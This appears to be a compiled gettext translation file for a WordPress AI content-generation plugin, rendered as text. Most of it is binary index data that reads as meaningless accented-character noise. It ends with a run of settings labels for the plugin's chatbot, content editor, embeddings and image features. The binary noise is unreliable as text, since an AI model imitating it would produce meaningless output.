Œ»–»³»Æ»Ù» ñ»ü»¼¼ 3¼T¼d¼u¼"|¼Ÿ¼¥¼­¼.ȼ$÷¼#½@¾Q¾Gc¾«¾ ²¾¿¾оë¾ ¿#¿,¿ 4¿?¿T¿A[¿¿'®¿(Ö¿&ÿ¿&ÀCÀ$]À!‚À¤À#ÂÀæÀ'Á!)ÁKÁ!\Á~Á'—Á¿ÁÝÁõÁÂ-ÂCÂ\Âv¤¼ÂÖÂêÂýÂ#Ã)ÃýIÃGÄeĄĚıÄÊÄŒäÄ qÆ{ƘƠƱƹÆÔÆÛÆãÆþÆÇ )Ç4Ç DÇ"OÇ rÇ~Çâ‘Ç‘tÈ É ÉÉ#É<ÉBÉ[ÉjÉpÉ‰É¥É¬É ÆÉ+ÒÉþÉÊÊ .Ê;ÊRÊPbÊp³Ë–$Í»Î0ØÎ4 Ï>ϹZÏÐ 0ÐS:ЎЗМЊ´Ð ?ѤJÒïÒ=ÓMÓ”jÕ•ÿÕ"•Öä¸ÖÌØwjÙ âÙ{ÚFÚeÆÛ9,ÜhfÜ8ÏÝJÞ)SÞ´}Þ)2à$\à!àF£à]êàËHá7âCLâCâBÔâ/ãÈGãä]%ålƒåEðåC6æ?zæ`ºæqçBçÐç6ëç4"è0Wè ˆè1©è=Ûèsé=éOËéÆêÇâê­ªëmXìÆíâíÃÿí5Ãîˆùîÿ‚ïׂðËZñŒ&ò¥³òYóFtó!»óPÝóQ.÷€ú‰ú¥ú ªú µú)Áú!ëú ûû$û@û\û rû û û˜ûªûW±û| ý÷†ý|~þ1ûT-‚š¡¼ÂÈä 8GM3Tˆ©°¸ÓÛöÿ" 9EJPp#t˜ œ¦ÃÛó!82Z¢ ±¿Ý0ã"+7cx‹“šª »ÅÊ â ï ü  8 -V „ 'ž $Æ 8ë L$ Mq G¿   * D  U `  y „ (œ $Å "ê . < ÝS y1«²ÌÒëúMNgnw1}2¯!â" '2P eo †“™ʯz Š – £ °¾Íàô  " 0 ; G7S<‹Èàúÿ'/O‰àjp‰›®„ÌQcšö$6ÔsÙM4Þ*ƒ>ÂðÙÊ!‹ß!k"ƒ"–" ¬"·"Ò"–ñ" ˆ#–# ¥# ²#À#Æ#ß# ä#ð#ô#ü#$$}8$(¶$âß$WÂ&'€«'‘,("¾+ á+í,Yo-!É-uë-ua.f×.r>/8±/–ê/˜0e1@€1Á1:Ñ1 2"282P2 c2„2“2¤2©28Á2ú2$3(53'^3"†3©3%Æ3ì3È4Ì5Þ7÷7=8“T8Gè80969 G9T9m9/‹9A»:ý;<$</;<,k<˜=±= Ð=Ý=ô=û=þ=>Ì>æÓ>º@½@À@Ö@Ý@å@í@A!A;AUAiA#A£AÃAÞA!õA"B!:B%\B=‚BEÀB-C 4CÛ?C F´&F[ÛFk7G=£GHáG¢*H™ÍH¤gI… J ’J'³J0ÛJG K‡TK†ÜK cLqLxL.}L¬LÕÀL$–O)»O6åO1P3NP‚P8•PêÎP¹QOÒRÚ"T ýT* Uk4U1 U"ÒU%õUeV9V#»VHßVo(W˜W'¶W)ÞWpX„yXsþXªrY-Z&KZ(rZ ›ZK©[Jõ[@\P\!W\y\”\¨\­\¯\²\ ¹\Ã\Å\Í\Ï\Ó\Õ\×\ß\ã\å\ç\é\cë\7O]2‡]3º]î]^,^*C^#n^1’^Ä^-ß^ _,'_%T_7z_²_)Ç_ñ_ ` &`*1`)\`†`&¢`É`ç`a8a#Xa*|a/§a.×a.b(5b(^b&‡b,®bÛb,úb('c*Pc-{c'©cÑcðc8d3:d3nd*¢dÍdâdùd#e,eGe de…e že"¿eâeõef2+f:^f5™f'Ïf÷fg&gEg(dgg¦g0¿gðgh+!h)Mhwh‡h  hªh%Çh/íh i2*i,]i.Ši,¹i.æi0j(Fj/oj1Ÿj8Ñj* k35k/ik1™k,Ëk2øk0+l3\l-l/¾l6îl3%m*Ym3„m+¸m,äm5nGn7_n—n!´nÖn"ånoo/o!Ooqo7€o;¸oôop4%p;Zp@–p4×pE q0Rq+ƒq0¯q)àq rr8r ArLrjr;ƒr¿rÚrúrs )s 6s@s\sïqs at%mt4“tÈtÙtôtuu"v)v1vNvTvgvƒv™v¯v Îv5ïv3%w+Yw2…w4¸w'íw”x.ªx/Ùx1 y3;y:oy.ªy'Ùy+z--z5[z7‘z+Éz-õz&#{(J{us{yéðcƒT„*k„–„¶„ÙÈ„¢…+¾†/ꆇ35‡$i‡&Ž‡,µ‡.⇈",ˆ-Oˆ!}ˆŸˆ¼ˆEш‰ ‰³>‰¥ò‰!˜Š)ºŠ1äŠ!‹8‹ W‹e‹u‹‹‹"±‹ÑÔ‹U¦çüŽwä\‘y‘‚‘Ÿ‘¤‘Ä‘!Û‘ý‘’'’<’M’+^’-Š’"¸’ Û’ü’“.“ B“L“h“¦ƒ“@*•Gk•6³•ê–ò–6÷–9.—;h—¤—#¶—Ú—ù—ÿ—6˜ªP˜8û˜L4™ ™‹™"©™$Ì™!ñ™#š(7š*`š+‹š2·š8êš:#›^›}›7—›9Ï› œ œ œ(œ-Fœ/tœ ¤œÅœ$Ýœ)2,4_&”» Á â$ìžž(ž;ž'@ž)hž*’ž%½ž-ãžRŸTdŸa¹Ÿf `‚ ã -¡'1¡%Y¡'¡N§¡Mö¡6D¢7{¢t³¢{(£0¤£7Õ£- ¤6;¤^r¤*Ѥ ü¤¥ ¥?¥F¥a¥#q¥%•¥.»¥ê¥ý¥¦(¦G¦O¦k¦r¦B¦ Цܦü¦§ §)§F§K§ \§f§‚§ § ¨§&³§/Ú§ ¨ ¨(¨%D¨j¨.Š¨"¹¨ܨzù¨tt©é©ð© ªªæ&ª «&«C«J«7R«Š«“«¨«À«È«ä«:û«6¬>¬Z¬9a¬ ›¬§¬@¬¬í¬ ­.­)N­0x­4©­Þ­$ò­®-®J®g®}®#˜®.¼®ë®¯$¯9¯!P¯r¯…¯œ¯#¯¯Ó¯í¯5 °@°P°j°°}†±;²b@²£²¿²€ß²'`³݈³f´u´~´›´£´&¶´Ý´(ò´,µŸHµZèµC¶Yc¸l½¸ *¹6º*Eº"pº-“º³Á¼—u¾b Â#p”¥´ÂH½ÂÃ)ÃGà ^Ã0ðùà Ðà ÜÃIçÃ1Ä9ÄMÄ_ÄsĊĜİÄÅÄ*ÖÄ ÅE Å%QÅwÅ}Å,—ÅÄÆÒÞÆƱÈ xÉ ‚É1ŽÉÀÉÐÉ×ÉòÉFÊ9KÊم˺_Í#Ñ>ÑQÑgÑ}ÑšÑ-·ÑåÑÒ>Ò@SÒ”Ò ³ÒÔÒÝÒúÒÿÒÓ#Ó (ÓX4Ó ÓšÓ©Ó°ÓËÓåÓýÓÔÔ:ÔYÔqÔ ŠÔ–Ô›Ô7ªÔ âÔîÔ Õ(Õ%@Õ'fÕŽÕТÕbsÖ ÖÖ0àÖ'× 9×(C×l×&‹×6²×é×7þ×(6Ø_ØntØ ãÙ îÙúÙ+Ú;ÚBÚ^ÚD{ÚFÀÚDÛ&LÛ)sÛ=Û4ÛÛ'Ü 8Ü/DÜ,tÜ3¡Ü)ÕÜ+ÿÜ-+ÝYÝ'vÝGžÝbæÝ$IÞBnÞ7±Þ9éÞ=#ß@aßÅ¢ßShàd¼áe!âe‡âgíâYUãO¯ã'ÿãU'äI}äQÇäJåKdå=°åHîåF7æ™~æ;ç6TçU‹çNáçF0èFwè~¾è‘=é”Ïéedê|Êê>GëÆë&JìQqíMÃíZî(lòs<óƒ°óL4ôWõoÙösI÷o½÷s-øC¡ø8åøAùJ`ùL«ùøùú ú'ú:Bú+}úM©ú÷úSûS\ûR°ûRüUVüJ¬ü÷ü ý'ý#Dýhýýý ¯ý¹ý6Ìýþ þGþ^þ uþ ‚þ£þ¬þÈþæþ'ÿ(-ÿVÿoÿ Žÿ˜ÿ  ÿ8®ÿçÿîÿ4þÿI3+} ©BÊ" 02K~”´ÏjèS-eD“#ØPüXM'¦0Î/ÿ%/.U0„3µQé;*Y„+-2,`6'Ä2ìLl‡1¤EÖ, KI 2• .È N÷ 1F .x $§ •Ì Jb I­ ÷ 0ÿ Ú0  w1A©ëŒoíÿ íoùíi# W(oc-íÓ1 Á6³Í;D>”Æ>¡[?Ÿý?A.C*BC mCwC–CžC§C ÄCÑC×C òC ÿC D D $D 0D E@E\E{E$ŒE±E µE ¿EÊEÐEïE ôEÿE6F.FFuF”F5³F éFõF`GneG'ÔGüG HH3H.GH?vH*¶HáHöH I)I`fŸfCºfáþhàiãi°çi˜j6k>lAAl ƒll•«lwAm´¹mínnŒ\ovéo{`p†Üqÿcs¡ct\uòbuÖUvÆ,wìó{´à€¿•U‚]ƒžd„džÈMˆW݉¬5‹áâŒóÄŽQ¸ ‘Š‘ ’’ (’5’=’Y’_’Ew’ ½’Þ’ ý’“=“O“k“Š“Aª“!ì•$–/3–+c–T–ä–Âí–°˜}²™ 0›‚;œ@¾œÕÿfÕŸb<¡LŸ¢mì¤Z¦ _¦k¦ ‹¦•¦š¦0¡¦ Ò¦ó¦ §ª§ÙǨ ¡©2®ªá«#ø«¬-:¬h¬—€¬<­U­õs­i®‡®w˜®Î¯2ß²¶¢¶ß3·„¸ ˜¹ç¦ºŽŽ¼Â½Ïà½ë°¾Ùœ¿ßvÀsVÁ¶ÊÁ“Â/ÆEÄDÌÅAÆ SÆÀ]ƽ˻ÜÏB˜ÔBÛÔ?Õ*^Õ,‰Õ¶ÕÊÕßÕ>îÕ -Ö7Ö!UÖwÖÖ›Ö¤Ö«Ö¿ÖÒÖãÖöÖüÖ×"×+×eH× ®×¹×Î×Ö×è×ð×Ø ØØØ2Ø9Ø0TØ3…عØÓØÙØ óØÿØÙ'ÙCÙKÙgÙlÙ…Ù›Ù²ÙÌÙÒÙìÙ"ûÙÚ%Ú BÚNÚUÚ^ÚcÚÚŽÚ¦Ú®ÚÅÚËÚåÚìÚ+Û3Û3BÛvÛ}ÛÆÝTßfß3}ß±ßÉßÑßíßòßàà ;àEàcà‚à›à·à ÇàÔàÜàøà"á *á5áUálá …á‘ášá·áÀáÝáãá þá â'â/âKâ%Râxâ‡â¡â½â×â3óâ5'ã7]ã6•ãÌãÒãìãôã2äCäGäMä0gä%˜ä'¾äæäÿäå3åLå,kåQ˜å8êå:#æ#^æ'‚æJªæLõæ7Bç8zç'³ç:Ûç<è6Sè8Šè8Ãè&üèB#éBfé©éDÉé6ê8Eê~ê›ê¸êœÕêirëÜë˜zì'í;í*XíHƒí ÌíÖí ôí îBîFQîX˜îñîï"ï1ïIïQï1aï3“ïÇïËïäïÿï ð=ðBð[ð4`ð•ððE­ðóð ñ3ñGñ`Pñ€±ñ×2ó õõ,õ1õFõWõ põ}õ*Žõ¹õÍõæõ"þõ<!ö+^ö0Šö»öÊöâö-ÿö-÷5÷L÷ i÷w÷†÷Œ÷H“÷DÜ÷i!ø‹ø ø§ø:Åøù' ù1ùKùo[ùËùÝù åùóù úú/ ú$Pú2uú¨ú:»ú öúÛû<àûü #ü -ü8ü Wüeüü\Žü@ëü,ýJ®ýºùþδÿƒ”/²Eâ(*/,Z!‡#©'ÍRõ÷Hé@'*)R3|5°æI#Nrx} –¢Áàÿ % : L ^ s K† Ò ç ú  & ;> z ‚   5· í   " 5  T _ u  ˆ '© Ñ ç  % ?  Z  f t y ‰ š    «  ² ¼  × â  ù + / 5 P o  › « ±  â  ó ÿ &5\ b&m&”»RÌYjywä\.íŸ>¼/û-+2YLŒBÙLBi/¬>Ü2*NEy8¿(ø/!%Q.w1¦6Ø3'C,k(˜-Á*ïÊQåI7cîåØÔ`­d's2›lÎ;!!U!/w!"§!TÊ!'""G"j"r"{" ˜"¢" ½"Ç"å"û"#7)#7a#8™#Ò#%í#,$@$:U$<$Í$/ì$$%&A%h%…%™%«%¾%Ó%ä%*ó%*&I&_&u&‘&­&Å&[Ø&D4'y''§'¶'6É'8(59(Mo(ƒ½(A)X)8a)š)2±)?ä):$*<_*œ*°*È* â*î*ö*+ +!%+G+]+s+2z+4­+)â++ ,(8,a,j,eq,1×,5 -)?-+i-;•-lÑ-0>.)o.1™.3Ë.Cÿ.>C/+‚/-®/4Ü/60H0/_0†0–6­;6¯?ÜæCÓÃFù—I]‘LFïPl6U£Y Á\,Ì_ÚùbüÔeµÑhè‡kÏpo@rÜCv y'>} f€=qƒË¯†é{‰­eŒA3’Üu•°R˜ù›ÝýÐÛ ¬£Õ­¦°ƒ©ø4¬-¯2±:±)B±2l±Ÿ±Q³±² ²²3²<²D² `²j²s² y²„²'š²#²%æ² ³!,³N³Pm³¾³Ú³.ö³8%´#^´ ‚´´–´ ¶´ Á´3Í´6µ-8µ/fµ:–µ<ѵ0¶?·W¸7p¸¨¸ À¸͸"é¹É »ÉÖ»/ ¼%мö¼ ½%½<½?O½'½)·½á½è½ð½ ¾¾S#¾#w¾0›¾.̾û¾¿#¿-*¿X¿!l¿Ž¿,¡¿.οý¿À 7ÀXÀ!xÀ2šÀ2ÍÀ<Á!=Áé_ÁßIÂ)Ã/Ã"IÃ"lÃ×Þà £Ã ­ÃºÃÌÃßÃøÃÿÃÄ.Ä@Ä`ÄiÄ†Ä –Ä!¢ÄÄÄãÄÿÄ Å Å(Å'9ÅEaŧÅ8¿ÅøÅ!Æ'6Æ)^ƈÆ$ ÆHÅÆ<ÇKÇ TÇbÇ)}ǧÇÀÇ­NÈEüÈBÉcGÊ+«Ë(×ËEÌÊFÌÍ´*Íß΄÷Δ|Ï+ÐR=Ñ_ÑKðщ<ÒýÆÒ~ÄÓYCÔÌÔ#jÖAŽ×NÐ׌Øz¬Øs'Ùà›ÙÆ|ÚUCÛ˜™Û`2ܓܲÝÆÝeÌÞf2ß±™ß¶Kàgá[já„ÆácKâS¯â¤ãµ¨ãw^äˆÖäP_åd°æ_ç@uçä¶çÕ›èUqéNÇéûêOëIbëÓ¬ëJ€ìHËìHíû]íJYîJ¤îJïîG:ïK‚ïIÎïÓðFìðI3ñ¯}ñ¯-ò:Ýò=óùVóPPô7¡ô3Ùô[ õfiõ^Ðõ1/ö:aöOœöPìö8=÷gv÷yÞ÷åXø¥>ùqäù_Vúq¶úk(ûY”ûŒîû8{üA´üqöüshýÜýX^þ2·þ4êþFÿ‘fÿâøÿWÛö3\*F‡ÎrÕcH5¬qâLT„¡ƒ& ª t: ¯ p? d° 0 0F ,w ;¤ Zà C;0X°^ Rh"»®Þ®7<xt£íÀ‘RRF¥PìP=RŽbátDM¹2):dk†Œc¦ $=E aToEÄG .RzüJ!_c!êÃ!x®&Ø'+0b 5dƒ9”è=z}CŸøH†˜N›Tƒ»Y?_–Ue}ìjjp½|vð:{I+Ãu†09Œªj‘R—9h—K¢—0î—4˜VT˜õ«˜ß¡›žñ‰¡ë{¤,g¥5”¥fÊ¥P1¦@‚¦oæ@3¨àt¨QUªF§ª”îªßƒ«c­Wô®L°ÆαÇ•³I]µ²§µ²Z·o ¹ó}ºÑq»C¼ÐJ½¿H"ÀQkÁ˜½ÁhVÂl¿Â;,Ã>h˧Ó3ÄOÇÈíəʵŸÊÀUË­Í‚ÄÍÑGÎÏ£4Ð}ØЂVÒõÙÓ(ÏÕÛøÖ‰ÔØ[^Û1ºÛ5ìÛf"Ü\‰ÜfæÜOMÝØÝËvÞ&Bß-iß%—ßZ½ßæàñÿápñãvbäfÙäš@å Ûåæå ææ*æ0æJæ gæqæW‰æáæDêæ%/çUçatç4Öç) è15ègènè ‰è“è ²è¼è Ûè çèôèSûè,Oé-|é-ªéØéáéþéê$ê'@ê%hê Žê™ê¢ê ½ê2Þêë*ëEë!Lënëvëë;œë+Øëgìlí‡ín™íî îî#.îRî*lî—î  î ªî·îÒîLÙî&ïK:ï3†ï3ºï(îï ð38ð-lð5šðOÐð% ñ/Fñ8vñ¯ñ,Ëñ&øñ9ò3Yò ò®ò Ëò9Õòó-óMókó‰ó$§óÌóëóÿó1ô)9ô0cô%”õ#ºõÞõ#ôõö4ö¸Oö øø0ø8øNøVørøyø‚ø(ŸøÈøØøòøù5ù UùcùyùÓ‹ú_û yû…ûŒû§û®û Éû×ûÝû,÷û$ü+ü Fü+Süü…ü$šü¿ü ÑüòüŒý”þ$-BFpJ·:=#? cxm æ ô;¹Þõ4Ô6 —@¢Ø £{ 2 QR ú¤yŸ-…G¼Í„Š@’PGãS+,–¬GCI‹:ÕPsaþÕJÔRRr]Å9#ø]5VnŒ€ûN|OËJ Pf –· GN!–!@²!>ó!22"+e"F‘"WØ"–0#XÇ#l $ä$ér%ß\&à<'#)$A)f)>m*¡¬*=N+ûŒ,ùˆ- ‚.Ã#/ç/Wþ/!V0 x0 ™4º8Ã8à8æ8ø85 9AA9ƒ9–9(œ9(Å9î9 ::+:::K:£R:…ö;0|<#­=DÑ@bA#yAA¤AÃAÉA.ÏA.þA -B7BKB iB sB}B@„BÅBÌBçBïBôB CC5C>CNC`CdC|CC”C(šCÃC$ÇCìC ðCúCD0DJD`DxD$–D†»DBG WG cG'oG—G9ŸG!ÙGiûGeI'€I ¨I´I¼IÚIóIJ J'J@JVJoJ2J4ÂJ:÷J02K@cK7¤KLÜKf)LfLS÷L KM)WM/M&±MØM$ìMN'&NDNN2“N&ÆN4íN "OO/O³Q 3R=R[RbR}RŒRe“RùRSS&SG-SPuS(ÆS*ïS T%T!DT fT%pT–T¨T°TíÏT½UÑUâU÷U VV*.V*YV„VšV «V ¸V ÆV ÑV ÝVMéVT7WŒW¬WÌW ÔW1ÞW"XU3X‰[^—^±^Á^7á^—_±_*É_Æô_S»`b)bÑEb)cœAdæÞd0ÅfVöfŸMgíg„ h‘j´¬jakxk‹k £k*¯k&Úk¿lÁlÓlçlmm!m;mBmYm]memmˆm££m:Gnf‚njép»Tq²r¨Ãr0lwWw‰õxqy,ñyz›¼zˆX{˜á{Gz|ÏÂ|Ã’}ŒV~Iã~-PA!’´Ñï6€>€R€e€j€Rƒ€"Ö€6ù€?09p0ª*Û'‚$.‚S‚“Õ„i‡ƒ‡C ‡Èä‡@­ˆîˆõˆ‰‰.1‰j`‰}ËŠIŒZŒtŒ>Œ„ÎŒ.SŽ'‚Ž ªŽ&·ŽÞŽåŽèŽëŽ ¼’¿’Â’ Ù’ ã’ í’ø’“,“F“`“t“Š“ “º“Õ“ì“”'”L@”6”HÄ” •'•e;• ¡˜Ø®˜{‡™Šš`ŽšmïšÏ]›§-œ²ÕœŒˆ(ž7>žPvžSÇž¥Ÿ¦ÁŸh x  5ˆ ¾ [GîY Vñª\ûíZ)ï|˜Ô\T + ÝÌ -¨ê$tP¥Â+/134789:çkâŽúÏf²±Ö oi ³d š1`ß M‹‹ñ> 쎞 g5L¼¢"LÆá x …‘ÊX™„7o- έP•Î ] ÂWd`èÚ3Zú @}Ãͼ~% "â¾ G?Úµá ìvI a ì qù¤×q DëU Ç]\ ‘ÊÈ>ó ÐEÈ_Ç ý$BÒ¥òŽ©YS b¨4e“‰ = H ÐëówEîÆÒmû„XüõúˆKº„ ‰ ‡6‰ =F&>[ª[™€ uÛÿ(ª9 RïÛËÕM1¸•„• ² ³b à³J º:ÅrDH%™ƒÓ…pzímLk}UÆŸ Üh  ¹ ¨` c S xHßçÌ€ÙÄÉ+ 1lãûW øë£\Ê Ö%€dŸ‹V.ž3z‘Ä,rQ›Ë÷Ïj<ŒIÂA Õ—¦IªábŒ‘!w £æ“L©¾´Óê‚uD=¹à ¨ b¶¥]ù PBF@áŒC Œž¢M-ðâ Œ1¯ J­c(ä¯üŘFÀ‹ ÌB ó‚Æ é;røFêÝh §.ã ¾ÎËä8 ”n0¯ 6 ¬ôMŸ ÖˆÒf tž {†Uɼ0½ÙT Ý…;Cch. [zD ú@¥·AÖî’k*gƒò(ò àû£´= Û \¤< Po“ Ð~è’?vÏŸBçnì–Á)Ât£Äb ¸4Gr ” â]Wž<"T- cS½Îy‹IŸKa!ìa„-û?ý© ƒ ¶¸ ´?oÚJˤ 41 w$ Úy+pøÍïT=¢¤!ì% ,7´ F<¬á¼¢ˆï^=‘»K hi+Î%? 3w #HFðœ 7­Ôä³ Ž}> SÊn&5 Å^L 8æ(¸Ç ) À´Rf êaÕ/ ûWÓUÐG ‘ í˜ ‚RãV‡þ]t§ %O§GgøöÀ 8 üuðî 'liNõª ÑlG ) ÝÒWˆ;‚›¢V ÞÈÙß)vé «Þ !¤)úå£Åí×קH°;Ø¾×  à òÄNe±ó<öº ŽœØ¿°œF »½©*DT)ú‚Û~wÀ{Ôo #É›`iä Zý¤ ö#†šéU ÅTšè?ÜdVYÞêXsC WALáY)ã†pú#Ÿ… þo‘Øü (˜÷‰/>À†Z 94Ð €²û¶ê j–gCöã2 åZÕ&Á/ † 6#µ;½Ô¡HßE ÍÌ ^<& o‘îB Z£_è KN´M ™ ÔÁþ¿2 Ë ™Â×ÅÎý;e4÷^åøœ_,_ âjñ – á¬( 5Yó¯1• y0cÛ¹þôO@ ú< $\`wæx œd½>^ïn&~þŒ pIh¿k ¬F„ ³ ÍÙ‰q€  ”{ Ó>-Î'iV†¾AöaAº` æõU å þãä ¥.*ȱ ×8· Àå® z ¡Ý wjSÔø – âð-§,p(/2A­»0 ëLöØÇæ×RE|à?…±8×2Ï, @`„.îkþ—«äï~R"}:' ÕŒ0 oW ÿ ?I&»ÿí 9Ý«ùJìà¥KÑé , E p³56¤ æ¤Û:{B"áºÓ¢À9 ŒbxÆ v 2~æ{b ͬR Cœ§Y B™€ Ø_²ËBy Ú5#Â8¨G¸ºÄ l5élÄH  ¬„Ù,8ô­·©VÿS°Êˆx1Oµ ÈB˜_šDF #íÞPG¢ô¿P Ü*S¼·è ¯7 µþ/ùئ&\[ø ]¹‚6$¥  lO§Íiì=¾ýðòvóÝ›µŸ8 ô!~mV^ 9¹ f gƉDOüAŽm _ ¯J× ŠJ!Àe þeó’‹ ~d  më‡ÿÈQÕ'”õÙƒbP+µIv1M †¦ ñÁ­ O: U N‡fŠ't}ª}v­)ÿå—;{4^”gŠ[ ªÊOùÝÉ ²óÃb °ÎjÚ¡mÚviHš’–R9 DÇ€J !  ÷'< ŽŽ‰ãZ ÝÖ òïÿL –؞…®1³Pf 𰛜–b ›Pð9Neû£õ¡‹Q'GH‹m›®¡ Ü Rq¡â. LœŒ6@ uÉ“Á/Ï `- ÌTN.lX É"8 ŸOö Z0Ž T¦¶`Œ=0¨«x4 ·aÁkó½« )I¹y^¨²¹˜{Ê^ 6È Å†Ñ ÷,‚" ¾ ­ªP ú®ÃçAz\¼ ´È¼•{ž³™Å «íj jŠÜ|z §†6 Í“Û/MNªžÒã|Qx9NÕê˜ å™K©÷‰ÐO0$S .UCåC~ Fô ¯Þæ®ÅX`¡æ M â7½ ƒâí&Ó±_°„# ¹|ý U a;¨•ë Qo ‡œ@» G´sm3q ñ 债 kZÚ\ cA N  c ¶vÈ ]Ó„þ ˜cÊ–%Æu¨k UØ[ ./³<KÏúÐñumtòy 3 Ù‘Ç̘,|?6·'! Ì ¸} ±0Mrxôü¶†ê ( nÍprn %!š&:ök95ùi “±Ç·JϪꮊ¡:  eäÄ=û ÂS:3 Wý£ ¯–üC Î2Š %l [pò s¢*"uƒö ²ÞEè7 Sfx;› ®}Þ}:W ŽT Ãtç =¸ù‰E$ë' µ ÖèËëé¦ÖÒ->¿ qç”N â' w[äg~ 2[ ÌÉ ÇE¡¦>—fp "ÿjt¶ ­ƒ»îÔ ¾/Üaò›u v  ÁÙ ¼ÜˆÏÙîäEƒH1 ÒÕà#¤EÒ Ÿ<ïÑR2 t *áñ.ƹcû·«sÜsˆ ïa¾Ü ‡+Î h WL¼J7­r»ñJç* R Xš (O g¦^s$ ® ß‚ fÇdÐï e‹ˆ{n?   8i  ’Þ‡]ydžÓ Ø ·üžA k Æq’±šÉi½‡2Äbõü¤!5" ¨7 ¢ùQ«µ¿: ˜q gPka Ö#šg €…°dal° t ( nzÆ©µå¥¿$ qW3 ©'“ D7³D™ÌÞ¸3ô‘_%4 -z• 0 [l Ïß÷²+챺ù(>îømK‚¸ »5ð ÜÔ)Tß°æºÑj©Ks¢ *!h•ÌŠ§š€Ù$hVÞ_YË & Q_eÊ@íc»VŠà™YU¦3²¦Q·e@“ Á yôðö‡L‚º÷sý »’éŸ7" –«ýG•B@4£V e qàƒ£¿±|—IÍg Thyÿðƒ õ Ñ* ÔÓ^ß 5X‰Ú ½` ,hIàç|ñX°Á,0í >è6 ”yx 3ÀÃE Ûrc Èê}÷ ÉK ´…ÿ{ÖÃÚÕë— üè  R| ĶáÁ \ ÷Flw®ZøzYÂСõËNfC¹ ’ ÊCéÒ—Ñã Ñ…ìà’—I =½ñÇ+¾Hßu2ÀK—j ì  ý]YôŠÄCB<XÒ¼”ÑÑJ’Q ²ÓéMM%iØ¥*O X õ \ Í ”ç¯.ßAzÔçò?« õD Ɉn sYïÕ µùË;  ø¬j# ] Ö´¿| dèdÛ ¸ hs Ð& ˆZ-*/ +®$Q —; Ý2îr•¬p¶©9f§5 r¿6…›ãn:‡ ¥Š oó“Å@¶Ïàw+Xä4 ¦ë“œm ×Û ¬ ] ‹éQS”u used from a maximum of "Advanced AI API Settings" Tab"Automatic Content Editing Settings" Tab"Editing Templates and Options" Tab"Manual Content Editing Settings" Tab# Of Posts%%previous_comments%% Shortcode Comment Count:%1$s - Recommended Value: %2$s.
                    Max input vars limitation will truncate POST data such as menus. See: Increasing max input vars limit.%1$s - Recommended Value: %2$s.
                    Post Max Value Length limitation may prohibit the Theme Options data from being saved to your database. See: Suhosin Configuration Info.%1$s - We recommend setting max execution time to at least 600.
                    To generate long articles, 1000 seconds of max execution time is recommended.
                    See: Increasing max execution to PHP%1$s - We recommend setting memory to at least 64MB. To learn how, see: Increasing memory allocated to PHP.%s seconds'omatic plugins created by CodeRevolution(Please increase this value if you want to upload larger datasets)(int) - 4 digit year (e.g. 2011).(int) - Day of the month (from 1 to 31).(int) - Month number (from 1 to 12).(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts.(int) - number of post to displace or pass over.(int) - use page id.(int) - use page id. Return just the child Pages.(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. -1,-2,-3](opens in a new tab)(string) - Custom field key.(string) - Custom field value.(string) - Designates the ascending or descending order of the 'orderby' parameter. Defaultto 'DESC'.(string) - Passes along the query string variable from a search. For example usage see: this link.(string) - Sort retrieved posts by parameter. Defaults to 'date'.(string) - The post status to return. Valid values are: publish, pending, draft, auto-draft, future, private, inherit, trash, other-custom-post-statuses(string) - use 'user_nicename' (NOT name)(string) - use page slug.(string) - use post slug.(string,string) - The post types to return. Valid values are: post, page, revision, attachment, other-custom-post-types. To match any post type enter the keyword: any. The default is post (if left empty).(string,string,string) - use category slugs instead of names. (string,string,string) - use tag slugs instead of names. * = required+ More, click for details://1.envato.market/aiomatic//coderevolution.ro0-3511010-2501024x10242256x256338045512x5125806789A flag indicating that only images suitable for all ages should be returned.A new version of this plugin is available.A selection of plugins, highlighted for you.AI API Service Provider Selector:AI API Settings:AI AssistantAI Assistant Frequency Penalty:AI Assistant General Settings:AI Assistant Image Settings:AI Assistant Image Size:AI Assistant Model:AI Assistant Presence Penalty:AI Assistant Prompts:AI Assistant Result Placement:AI Assistant Temperature:AI Assistant Text Completion Settings:AI Assistant Top_p:AI Assistant Tutorial Video:AI Assistant:AI Baloon Background Color:AI ChatbotAI Chatbot Configuration DetailsAI Chatbot Default Styling Options:AI Chatbot Limitations:AI Chatbot Moderation Options:AI Chatbot Settings:AI Chatbot Tutorial VideoAI Comment ReplierAI Comment Replier Tutorial Video:AI Comment WriterAI Comment Writer Model:AI Comment Writer Prompt:AI Comment Writer Settings:AI Comment Writer Tutorial Video:AI Content Completition Options:AI Content Creator Settings:AI Content EditorAI Content Editor Temperature:AI Content Editor Top_p:AI Content Editor Tutorial VideoAI Content Minimum Character CountAI Content Minimum Character Count:AI Content Rewriter Options:AI Content Writer Temperature:AI Content Writer Top_p:AI EmbeddingsAI Embeddings Auto Indexing Settings:AI Embeddings Optimization Settings:AI Embeddings Settings:AI Embeddings Template Settings:AI First Message:AI Font Color:AI FormsAI Forms Image Options:AI Forms Importer/ExporterAI Forms Options:AI Forms Restrictions:AI Forms Styling:AI Frequency PenaltyAI Frequency Penalty:AI GeneratedAI Generated ContentAI Generated ExcerptAI Generated Featured Image Options:AI Generated Image Resize Height:AI Generated Image Resize Width:AI Generated Image Size:AI Generated ImagesAI Generated ReplyAI Generated ResultsAI Generated SEO FieldsAI Generated SEO Meta DescriptionAI Generated TagsAI Generated TitleAI Image Chatbot Image Size:AI Image Chatbot Settings:AI Image CountAI Image From Below SelectorAI Image Generator Settings:AI Image SourceAI Image Source:AI ImagesAI Internet AccessAI Internet Access SettingsAI Media Library Extensions:AI ModelAI Model For Category Generator:AI Model For Content GeneratorAI Model For Content Generator:AI Model For Excerpt GeneratorAI Model For Excerpt Generator:AI Model For Intro GeneratorAI Model For Intro Generator:AI Model For Outro GeneratorAI Model For Outro Generator:AI Model For Post Tag Generator:AI Model For Q&A GeneratorAI Model For Q&A Generator:AI Model For Sections GeneratorAI Model For Sections Generator:AI Model For Text Generator:AI Model For The Categories Generator:AI Model For The Category GeneratorAI Model For The Comments Generator:AI Model For The Headings GeneratorAI Model For The Headings Generator:AI Model For The Post Tag GeneratorAI Model For The Tags Generator:AI Model For The Text GeneratorAI Model For The Title Text GeneratorAI Model For Title GeneratorAI Model For Title Generator:AI Model For Title Text Generator:AI Model OptionsAI Model To Use For Text Editing:AI Model To Use:AI Model TrainingAI Model*AI Moderation Model:AI Name:AI PlaygroundAI Presence PenaltyAI Presence Penalty:AI PromptAI Restrictions For Logged In Users:AI Restrictions For Not Logged In Users:AI SettingsAI Shortcodes & FormsAI Taxonomy Description WriterAI Taxonomy Description Writer Model:AI Taxonomy Description Writer Prompt:AI Taxonomy Description Writer Settings:AI Taxonomy Description Writer Tutorial Video:AI Taxonomy 